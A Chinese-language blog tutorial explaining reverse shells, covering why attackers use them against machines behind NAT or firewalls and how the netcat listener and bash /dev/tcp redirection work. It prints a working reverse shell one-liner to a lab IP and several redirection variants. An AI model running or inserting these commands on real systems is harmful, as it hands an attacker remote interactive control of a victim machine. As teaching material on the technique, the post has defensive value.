反弹shell的原理以及应用

什么是反弹shell?

反弹shell(reverse shell),指的就是我们的机器监听在某TCP/UDP端口,然后在希望被我们利用的被控机器发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell其实差不多对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

什么时候会用到反弹shell呢?通常我们反弹shell,是因防火墙受限、权限不足或者端口被占用,我们无法直接连接利用,这个时候就应该通过反弹shell来获取命令行。
就想上面说的,其实反弹shell和telnet、ssh本质上都是差不多的,但telnet、ssh我们称之为正向连接,也就是我们有个基本目标,可以ssh 192.168.xx.xx,但有时候目标机器如果是dhcp获取的地址,很可能你的控制就断了,这个时候反弹shell的作用就很大了。

有以下情况可以利用反弹shell很好地代替ssh、telnet等正向连接:

1.某台机中了你的网马,但是它在局域网内,局域网有统一的出口地址,这种情况下你是无法直接连接的。
2.目标机器的ip动态改变,你无法持续获取主机权限。
3.由于防火墙等安全设备的限制,被控机器只能发送请求,不能接收请求。
4.对被控机器的环境不了解,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,这样一来就不用担心了。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹shell的应用

首先我们利用攻击端监听接口信息,假设我们监听6767端口
nc -lvp 6767

可以看到我们的攻击端已经获取到shell,可以执行命令了

实验原理解释

1. nc -lvp 6767

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

2. bash -i

-i interactive。即产生一个交互式的shell(bash)

3. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

原理解释

所以实际上反弹shell命令bash -i >& /dev/tcp/192.168.75.150/6767 0>&1是由多条命令构成的,也可以根据把这条命令重组,拆成以下几种情况:

1、bash -i > /dev/tcp/192.168.75.150/6767
这种情况下,可以将受害端的标准输出重定向到攻击端,但是是无法在供给端用命令控制受害端
2、bash -i < /dev/tcp/192.168.75.150/6767
这种情况下,可以将攻击端的输入重定向到受害端,但是我们攻击端看不到命令执行结果。
3、bash -i > /dev/tcp/192.168.75.150/6767 0>&1
这种情况下,基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击端机器上执行的命令,且攻击端看不到错误命令的输出。
4、bash -i > /dev/tcp/192.168.75.150/6767 0>&1 2>&1
这种情况下,攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令。
posted @ 2022-05-16 07:38  NoCirc1e  阅读(970)  评论(0编辑  收藏  举报